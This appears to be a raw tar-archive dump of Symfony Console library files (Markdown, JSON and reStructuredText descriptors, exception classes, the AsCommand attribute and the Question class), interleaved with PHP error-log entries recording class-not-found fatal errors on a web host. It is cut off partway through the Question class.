Interface "Symfony\Component\Console\Descriptor\DescriptorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/Descriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/Descriptor.php on line 27 [26-Nov-2025 01:56:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/MarkdownDescriptor.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/MarkdownDescriptor.php on line 29 [26-Nov-2025 03:31:30 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/XmlDescriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/XmlDescriptor.php on line 27 [26-Nov-2025 03:43:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Descriptor\Descriptor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/JsonDescriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Descriptor/JsonDescriptor.php on line 27 console/Descriptor/MarkdownDescriptor.php000064400000014361151113511770014665 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Markdown descriptor. * * @author Jean-François Simon * * @internal */ class MarkdownDescriptor extends Descriptor { public function describe(OutputInterface $output, object $object, array $options = []): void { $decorated = $output->isDecorated(); $output->setDecorated(false); parent::describe($output, $object, $options); $output->setDecorated($decorated); } protected function write(string $content, bool $decorated = true): void { parent::write($content, $decorated); } protected function describeInputArgument(InputArgument $argument, array $options = []): void { $this->write( '#### `'.($argument->getName() ?: '')."`\n\n" .($argument->getDescription() ? preg_replace('/\s*[\r\n]\s*/', "\n", $argument->getDescription())."\n\n" : '') .'* Is required: '.($argument->isRequired() ? 'yes' : 'no')."\n" .'* Is array: '.($argument->isArray() ? 'yes' : 'no')."\n" .'* Default: `'.str_replace("\n", '', var_export($argument->getDefault(), true)).'`' ); } protected function describeInputOption(InputOption $option, array $options = []): void { $name = '--'.$option->getName(); if ($option->isNegatable()) { $name .= '|--no-'.$option->getName(); } if ($option->getShortcut()) { $name .= '|-'.str_replace('|', '|-', $option->getShortcut()).''; } $this->write( '#### `'.$name.'`'."\n\n" .($option->getDescription() ? preg_replace('/\s*[\r\n]\s*/', "\n", $option->getDescription())."\n\n" : '') .'* Accept value: '.($option->acceptValue() ? 'yes' : 'no')."\n" .'* Is value required: '.($option->isValueRequired() ? 'yes' : 'no')."\n" .'* Is multiple: '.($option->isArray() ? 'yes' : 'no')."\n" .'* Is negatable: '.($option->isNegatable() ? 'yes' : 'no')."\n" .'* Default: `'.str_replace("\n", '', var_export($option->getDefault(), true)).'`' ); } protected function describeInputDefinition(InputDefinition $definition, array $options = []): void { if ($showArguments = \count($definition->getArguments()) > 0) { $this->write('### Arguments'); foreach ($definition->getArguments() as $argument) { $this->write("\n\n"); $this->describeInputArgument($argument); } } if (\count($definition->getOptions()) > 0) { if ($showArguments) { $this->write("\n\n"); } $this->write('### Options'); foreach ($definition->getOptions() as $option) { $this->write("\n\n"); $this->describeInputOption($option); } } } protected function describeCommand(Command $command, array $options = []): void { if ($options['short'] ?? false) { $this->write( '`'.$command->getName()."`\n" .str_repeat('-', Helper::width($command->getName()) + 2)."\n\n" .($command->getDescription() ? $command->getDescription()."\n\n" : '') .'### Usage'."\n\n" .array_reduce($command->getAliases(), fn ($carry, $usage) => $carry.'* `'.$usage.'`'."\n") ); return; } $command->mergeApplicationDefinition(false); $this->write( '`'.$command->getName()."`\n" .str_repeat('-', Helper::width($command->getName()) + 2)."\n\n" .($command->getDescription() ? $command->getDescription()."\n\n" : '') .'### Usage'."\n\n" .array_reduce(array_merge([$command->getSynopsis()], $command->getAliases(), $command->getUsages()), fn ($carry, $usage) => $carry.'* `'.$usage.'`'."\n") ); if ($help = $command->getProcessedHelp()) { $this->write("\n"); $this->write($help); } $definition = $command->getDefinition(); if ($definition->getOptions() || $definition->getArguments()) { $this->write("\n\n"); $this->describeInputDefinition($definition); } } protected function describeApplication(Application $application, array $options = []): void { $describedNamespace = $options['namespace'] ?? null; $description = new ApplicationDescription($application, $describedNamespace); $title = $this->getApplicationTitle($application); $this->write($title."\n".str_repeat('=', Helper::width($title))); foreach ($description->getNamespaces() as $namespace) { if (ApplicationDescription::GLOBAL_NAMESPACE !== $namespace['id']) { $this->write("\n\n"); $this->write('**'.$namespace['id'].':**'); } $this->write("\n\n"); $this->write(implode("\n", array_map(fn ($commandName) => sprintf('* [`%s`](#%s)', $commandName, str_replace(':', '', $description->getCommand($commandName)->getName())), $namespace['commands']))); } foreach ($description->getCommands() as $command) { $this->write("\n\n"); $this->describeCommand($command, $options); } } private function getApplicationTitle(Application $application): string { if ('UNKNOWN' !== $application->getName()) { if ('UNKNOWN' !== $application->getVersion()) { return sprintf('%s %s', $application->getName(), $application->getVersion()); } return $application->getName(); } return 'Console Tool'; } } console/Descriptor/JsonDescriptor.php000064400000013070151113511770014010 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; /** * JSON descriptor. * * @author Jean-François Simon * * @internal */ class JsonDescriptor extends Descriptor { protected function describeInputArgument(InputArgument $argument, array $options = []): void { $this->writeData($this->getInputArgumentData($argument), $options); } protected function describeInputOption(InputOption $option, array $options = []): void { $this->writeData($this->getInputOptionData($option), $options); if ($option->isNegatable()) { $this->writeData($this->getInputOptionData($option, true), $options); } } protected function describeInputDefinition(InputDefinition $definition, array $options = []): void { $this->writeData($this->getInputDefinitionData($definition), $options); } protected function describeCommand(Command $command, array $options = []): void { $this->writeData($this->getCommandData($command, $options['short'] ?? false), $options); } protected function describeApplication(Application $application, array $options = []): void { $describedNamespace = $options['namespace'] ?? null; $description = new ApplicationDescription($application, $describedNamespace, true); $commands = []; foreach ($description->getCommands() as $command) { $commands[] = $this->getCommandData($command, $options['short'] ?? false); } $data = []; if ('UNKNOWN' !== $application->getName()) { $data['application']['name'] = $application->getName(); if ('UNKNOWN' !== $application->getVersion()) { $data['application']['version'] = $application->getVersion(); } } $data['commands'] = $commands; if ($describedNamespace) { $data['namespace'] = $describedNamespace; } else { $data['namespaces'] = array_values($description->getNamespaces()); } $this->writeData($data, $options); } /** * Writes data as json. */ private function writeData(array $data, array $options): void { $flags = $options['json_encoding'] ?? 0; $this->write(json_encode($data, $flags)); } private function getInputArgumentData(InputArgument $argument): array { return [ 'name' => $argument->getName(), 'is_required' => $argument->isRequired(), 'is_array' => $argument->isArray(), 'description' => preg_replace('/\s*[\r\n]\s*/', ' ', $argument->getDescription()), 'default' => \INF === $argument->getDefault() ? 'INF' : $argument->getDefault(), ]; } private function getInputOptionData(InputOption $option, bool $negated = false): array { return $negated ? [ 'name' => '--no-'.$option->getName(), 'shortcut' => '', 'accept_value' => false, 'is_value_required' => false, 'is_multiple' => false, 'description' => 'Negate the "--'.$option->getName().'" option', 'default' => false, ] : [ 'name' => '--'.$option->getName(), 'shortcut' => $option->getShortcut() ? '-'.str_replace('|', '|-', $option->getShortcut()) : '', 'accept_value' => $option->acceptValue(), 'is_value_required' => $option->isValueRequired(), 'is_multiple' => $option->isArray(), 'description' => preg_replace('/\s*[\r\n]\s*/', ' ', $option->getDescription()), 'default' => \INF === $option->getDefault() ? 'INF' : $option->getDefault(), ]; } private function getInputDefinitionData(InputDefinition $definition): array { $inputArguments = []; foreach ($definition->getArguments() as $name => $argument) { $inputArguments[$name] = $this->getInputArgumentData($argument); } $inputOptions = []; foreach ($definition->getOptions() as $name => $option) { $inputOptions[$name] = $this->getInputOptionData($option); if ($option->isNegatable()) { $inputOptions['no-'.$name] = $this->getInputOptionData($option, true); } } return ['arguments' => $inputArguments, 'options' => $inputOptions]; } private function getCommandData(Command $command, bool $short = false): array { $data = [ 'name' => $command->getName(), 'description' => $command->getDescription(), ]; if ($short) { $data += [ 'usage' => $command->getAliases(), ]; } else { $command->mergeApplicationDefinition(false); $data += [ 'usage' => array_merge([$command->getSynopsis()], $command->getUsages(), $command->getAliases()), 'help' => $command->getProcessedHelp(), 'definition' => $this->getInputDefinitionData($command->getDefinition()), ]; } $data['hidden'] = $command->isHidden(); return $data; } } console/Descriptor/ReStructuredTextDescriptor.php000064400000024625151113511770016407 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Descriptor; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\String\UnicodeString; class ReStructuredTextDescriptor extends Descriptor { //

private string $partChar = '='; //

private string $chapterChar = '-'; //

private string $sectionChar = '~'; //

private string $subsectionChar = '.'; //

private string $subsubsectionChar = '^'; //
private string $paragraphsChar = '"'; private array $visibleNamespaces = []; public function describe(OutputInterface $output, object $object, array $options = []): void { $decorated = $output->isDecorated(); $output->setDecorated(false); parent::describe($output, $object, $options); $output->setDecorated($decorated); } /** * Override parent method to set $decorated = true. */ protected function write(string $content, bool $decorated = true): void { parent::write($content, $decorated); } protected function describeInputArgument(InputArgument $argument, array $options = []): void { $this->write( $argument->getName() ?: ''."\n".str_repeat($this->paragraphsChar, Helper::width($argument->getName()))."\n\n" .($argument->getDescription() ? preg_replace('/\s*[\r\n]\s*/', "\n", $argument->getDescription())."\n\n" : '') .'- **Is required**: '.($argument->isRequired() ? 'yes' : 'no')."\n" .'- **Is array**: '.($argument->isArray() ? 'yes' : 'no')."\n" .'- **Default**: ``'.str_replace("\n", '', var_export($argument->getDefault(), true)).'``' ); } protected function describeInputOption(InputOption $option, array $options = []): void { $name = '\-\-'.$option->getName(); if ($option->isNegatable()) { $name .= '|\-\-no-'.$option->getName(); } if ($option->getShortcut()) { $name .= '|-'.str_replace('|', '|-', $option->getShortcut()); } $optionDescription = $option->getDescription() ? preg_replace('/\s*[\r\n]\s*/', "\n\n", $option->getDescription())."\n\n" : ''; $optionDescription = (new UnicodeString($optionDescription))->ascii(); $this->write( $name."\n".str_repeat($this->paragraphsChar, Helper::width($name))."\n\n" .$optionDescription .'- **Accept value**: '.($option->acceptValue() ? 'yes' : 'no')."\n" .'- **Is value required**: '.($option->isValueRequired() ? 'yes' : 'no')."\n" .'- **Is multiple**: '.($option->isArray() ? 'yes' : 'no')."\n" .'- **Is negatable**: '.($option->isNegatable() ? 'yes' : 'no')."\n" .'- **Default**: ``'.str_replace("\n", '', var_export($option->getDefault(), true)).'``'."\n" ); } protected function describeInputDefinition(InputDefinition $definition, array $options = []): void { if ($showArguments = ((bool) $definition->getArguments())) { $this->write("Arguments\n".str_repeat($this->subsubsectionChar, 9))."\n\n"; foreach ($definition->getArguments() as $argument) { $this->write("\n\n"); $this->describeInputArgument($argument); } } if ($nonDefaultOptions = $this->getNonDefaultOptions($definition)) { if ($showArguments) { $this->write("\n\n"); } $this->write("Options\n".str_repeat($this->subsubsectionChar, 7)."\n\n"); foreach ($nonDefaultOptions as $option) { $this->describeInputOption($option); $this->write("\n"); } } } protected function describeCommand(Command $command, array $options = []): void { if ($options['short'] ?? false) { $this->write( '``'.$command->getName()."``\n" .str_repeat($this->subsectionChar, Helper::width($command->getName()))."\n\n" .($command->getDescription() ? $command->getDescription()."\n\n" : '') ."Usage\n".str_repeat($this->paragraphsChar, 5)."\n\n" .array_reduce($command->getAliases(), static fn ($carry, $usage) => $carry.'- ``'.$usage.'``'."\n") ); return; } $command->mergeApplicationDefinition(false); foreach ($command->getAliases() as $alias) { $this->write('.. _'.$alias.":\n\n"); } $this->write( $command->getName()."\n" .str_repeat($this->subsectionChar, Helper::width($command->getName()))."\n\n" .($command->getDescription() ? $command->getDescription()."\n\n" : '') ."Usage\n".str_repeat($this->subsubsectionChar, 5)."\n\n" .array_reduce(array_merge([$command->getSynopsis()], $command->getAliases(), $command->getUsages()), static fn ($carry, $usage) => $carry.'- ``'.$usage.'``'."\n") ); if ($help = $command->getProcessedHelp()) { $this->write("\n"); $this->write($help); } $definition = $command->getDefinition(); if ($definition->getOptions() || $definition->getArguments()) { $this->write("\n\n"); $this->describeInputDefinition($definition); } } protected function describeApplication(Application $application, array $options = []): void { $description = new ApplicationDescription($application, $options['namespace'] ?? null); $title = $this->getApplicationTitle($application); $this->write($title."\n".str_repeat($this->partChar, Helper::width($title))); $this->createTableOfContents($description, $application); $this->describeCommands($application, $options); } private function getApplicationTitle(Application $application): string { if ('UNKNOWN' === $application->getName()) { return 'Console Tool'; } if ('UNKNOWN' !== $application->getVersion()) { return sprintf('%s %s', $application->getName(), $application->getVersion()); } return $application->getName(); } private function describeCommands($application, array $options): void { $title = 'Commands'; $this->write("\n\n$title\n".str_repeat($this->chapterChar, Helper::width($title))."\n\n"); foreach ($this->visibleNamespaces as $namespace) { if ('_global' === $namespace) { $commands = $application->all(''); $this->write('Global'."\n".str_repeat($this->sectionChar, Helper::width('Global'))."\n\n"); } else { $commands = $application->all($namespace); $this->write($namespace."\n".str_repeat($this->sectionChar, Helper::width($namespace))."\n\n"); } foreach ($this->removeAliasesAndHiddenCommands($commands) as $command) { $this->describeCommand($command, $options); $this->write("\n\n"); } } } private function createTableOfContents(ApplicationDescription $description, Application $application): void { $this->setVisibleNamespaces($description); $chapterTitle = 'Table of Contents'; $this->write("\n\n$chapterTitle\n".str_repeat($this->chapterChar, Helper::width($chapterTitle))."\n\n"); foreach ($this->visibleNamespaces as $namespace) { if ('_global' === $namespace) { $commands = $application->all(''); } else { $commands = $application->all($namespace); $this->write("\n\n"); $this->write($namespace."\n".str_repeat($this->sectionChar, Helper::width($namespace))."\n\n"); } $commands = $this->removeAliasesAndHiddenCommands($commands); $this->write("\n\n"); $this->write(implode("\n", array_map(static fn ($commandName) => sprintf('- `%s`_', $commandName), array_keys($commands)))); } } private function getNonDefaultOptions(InputDefinition $definition): array { $globalOptions = [ 'help', 'quiet', 'verbose', 'version', 'ansi', 'no-interaction', ]; $nonDefaultOptions = []; foreach ($definition->getOptions() as $option) { // Skip global options. if (!\in_array($option->getName(), $globalOptions)) { $nonDefaultOptions[] = $option; } } return $nonDefaultOptions; } private function setVisibleNamespaces(ApplicationDescription $description): void { $commands = $description->getCommands(); foreach ($description->getNamespaces() as $namespace) { try { $namespaceCommands = $namespace['commands']; foreach ($namespaceCommands as $key => $commandName) { if (!\array_key_exists($commandName, $commands)) { // If the array key does not exist, then this is an alias. unset($namespaceCommands[$key]); } elseif ($commands[$commandName]->isHidden()) { unset($namespaceCommands[$key]); } } if (!$namespaceCommands) { // If the namespace contained only aliases or hidden commands, skip the namespace. continue; } } catch (\Exception) { } $this->visibleNamespaces[] = $namespace['id']; } } private function removeAliasesAndHiddenCommands(array $commands): array { foreach ($commands as $key => $command) { if ($command->isHidden() || \in_array($key, $command->getAliases(), true)) { unset($commands[$key]); } } unset($commands['completion']); return $commands; } } console/Exception/ExceptionInterface.php000064400000000651151113511770014440 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * ExceptionInterface. * * @author Jérôme Tamarelle */ interface ExceptionInterface extends \Throwable { } console/Exception/LogicException.php000064400000000652151113511770013576 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * @author Jérôme Tamarelle */ class LogicException extends \LogicException implements ExceptionInterface { } console/Exception/MissingInputException.php000064400000000756151113511770015177 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * Represents failure to read input from stdin. * * @author Gabriel Ostrolucký */ class MissingInputException extends RuntimeException implements ExceptionInterface { } console/Exception/RuntimeException.php000064400000000656151113512000014153 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * @author Jérôme Tamarelle */ class RuntimeException extends \RuntimeException implements ExceptionInterface { } console/Exception/error_log000064400000017366151113512000012063 0ustar00[20-Nov-2025 07:47:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/LogicException.php on line 17 [20-Nov-2025 07:52:49 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/RuntimeException.php on line 17 [20-Nov-2025 07:53:53 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/CommandNotFoundException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/CommandNotFoundException.php on line 19 [20-Nov-2025 07:54:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Exception\CommandNotFoundException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/NamespaceNotFoundException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/NamespaceNotFoundException.php on line 19 [20-Nov-2025 07:58:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidArgumentException.php on line 17 [20-Nov-2025 08:01:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/MissingInputException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/MissingInputException.php on line 19 [20-Nov-2025 08:02:13 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidOptionException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidOptionException.php on line 19 [25-Nov-2025 02:59:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/RuntimeException.php on line 17 [25-Nov-2025 03:00:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/CommandNotFoundException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/CommandNotFoundException.php on line 19 [25-Nov-2025 03:01:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidArgumentException.php on line 17 [25-Nov-2025 03:03:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/LogicException.php on line 17 [25-Nov-2025 03:23:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/MissingInputException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/MissingInputException.php on line 19 [25-Nov-2025 03:24:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidOptionException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidOptionException.php on line 19 [25-Nov-2025 05:27:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Exception\CommandNotFoundException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/NamespaceNotFoundException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/NamespaceNotFoundException.php on line 19 [26-Nov-2025 00:38:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/MissingInputException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/MissingInputException.php on line 19 [26-Nov-2025 01:19:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/LogicException.php on line 17 [26-Nov-2025 01:52:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Exception\CommandNotFoundException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/NamespaceNotFoundException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/NamespaceNotFoundException.php on line 19 [26-Nov-2025 01:53:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/CommandNotFoundException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/CommandNotFoundException.php on line 19 [26-Nov-2025 02:03:01 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/RuntimeException.php on line 17 [26-Nov-2025 02:07:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidOptionException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidOptionException.php on line 19 [26-Nov-2025 03:31:44 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Exception/InvalidArgumentException.php on line 17 console/Exception/CommandNotFoundException.php000064400000002314151113512000015554 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * Represents an incorrect command name typed in the console. * * @author Jérôme Tamarelle */ class CommandNotFoundException extends \InvalidArgumentException implements ExceptionInterface { private array $alternatives; /** * @param string $message Exception message to throw * @param string[] $alternatives List of similar defined names * @param int $code Exception code * @param \Throwable|null $previous Previous exception used for the exception chaining */ public function __construct(string $message, array $alternatives = [], int $code = 0, \Throwable $previous = null) { parent::__construct($message, $code, $previous); $this->alternatives = $alternatives; } /** * @return string[] */ public function getAlternatives(): array { return $this->alternatives; } } console/Exception/NamespaceNotFoundException.php000064400000000732151113512000016074 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * Represents an incorrect namespace typed in the console. * * @author Pierre du Plessis */ class NamespaceNotFoundException extends CommandNotFoundException { } console/Exception/InvalidArgumentException.php000064400000000676151113512000015623 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * @author Jérôme Tamarelle */ class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } console/Exception/InvalidOptionException.php000064400000001005151113512000015274 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * Represents an incorrect option name or value typed in the console. * * @author Jérôme Tamarelle */ class InvalidOptionException extends \InvalidArgumentException implements ExceptionInterface { } console/Attribute/AsCommand.php000064400000001535151113512000012515 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Attribute; /** * Service tag to autoconfigure commands. */ #[\Attribute(\Attribute::TARGET_CLASS)] class AsCommand { public function __construct( public string $name, public ?string $description = null, array $aliases = [], bool $hidden = false, ) { if (!$hidden && !$aliases) { return; } $name = explode('|', $name); $name = array_merge($name, $aliases); if ($hidden && '' !== $name[0]) { array_unshift($name, ''); } $this->name = implode('|', $name); } } console/Question/Question.php000064400000016421151113512000012326 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Question; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * Represents a Question. * * @author Fabien Potencier */ class Question { private string $question; private ?int $attempts = null; private bool $hidden = false; private bool $hiddenFallback = true; private ?\Closure $autocompleterCallback = null; private ?\Closure $validator = null; private string|int|bool|null|float $default; private ?\Closure $normalizer = null; private bool $trimmable = true; private bool $multiline = false; /** * @param string $question The question to ask to the user * @param string|bool|int|float|null $default The default answer to return if the user enters nothing */ public function __construct(string $question, string|bool|int|float $default = null) { $this->question = $question; $this->default = $default; } /** * Returns the question. */ public function getQuestion(): string { return $this->question; } /** * Returns the default answer. */ public function getDefault(): string|bool|int|float|null { return $this->default; } /** * Returns whether the user response accepts newline characters. */ public function isMultiline(): bool { return $this->multiline; } /** * Sets whether the user response should accept newline characters. * * @return $this */ public function setMultiline(bool $multiline): static { $this->multiline = $multiline; return $this; } /** * Returns whether the user response must be hidden. */ public function isHidden(): bool { return $this->hidden; } /** * Sets whether the user response must be hidden or not. * * @return $this * * @throws LogicException In case the autocompleter is also used */ public function setHidden(bool $hidden): static { if ($this->autocompleterCallback) { throw new LogicException('A hidden question cannot use the autocompleter.'); } $this->hidden = $hidden; return $this; } /** * In case the response cannot be hidden, whether to fallback on non-hidden question or not. */ public function isHiddenFallback(): bool { return $this->hiddenFallback; } /** * Sets whether to fallback on non-hidden question if the response cannot be hidden. * * @return $this */ public function setHiddenFallback(bool $fallback): static { $this->hiddenFallback = $fallback; return $this; } /** * Gets values for the autocompleter. */ public function getAutocompleterValues(): ?iterable { $callback = $this->getAutocompleterCallback(); return $callback ? $callback('') : null; } /** * Sets values for the autocompleter. * * @return $this * * @throws LogicException */ public function setAutocompleterValues(?iterable $values): static { if (\is_array($values)) { $values = $this->isAssoc($values) ? array_merge(array_keys($values), array_values($values)) : array_values($values); $callback = static fn () => $values; } elseif ($values instanceof \Traversable) { $callback = static function () use ($values) { static $valueCache; return $valueCache ??= iterator_to_array($values, false); }; } else { $callback = null; } return $this->setAutocompleterCallback($callback); } /** * Gets the callback function used for the autocompleter. */ public function getAutocompleterCallback(): ?callable { return $this->autocompleterCallback; } /** * Sets the callback function used for the autocompleter. * * The callback is passed the user input as argument and should return an iterable of corresponding suggestions. * * @return $this */ public function setAutocompleterCallback(callable $callback = null): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } if ($this->hidden && null !== $callback) { throw new LogicException('A hidden question cannot use the autocompleter.'); } $this->autocompleterCallback = null === $callback ? null : $callback(...); return $this; } /** * Sets a validator for the question. * * @return $this */ public function setValidator(callable $validator = null): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->validator = null === $validator ? null : $validator(...); return $this; } /** * Gets the validator for the question. */ public function getValidator(): ?callable { return $this->validator; } /** * Sets the maximum number of attempts. * * Null means an unlimited number of attempts. * * @return $this * * @throws InvalidArgumentException in case the number of attempts is invalid */ public function setMaxAttempts(?int $attempts): static { if (null !== $attempts && $attempts < 1) { throw new InvalidArgumentException('Maximum number of attempts must be a positive value.'); } $this->attempts = $attempts; return $this; } /** * Gets the maximum number of attempts. * * Null means an unlimited number of attempts. */ public function getMaxAttempts(): ?int { return $this->attempts; } /** * Sets a normalizer for the response. * * The normalizer can be a 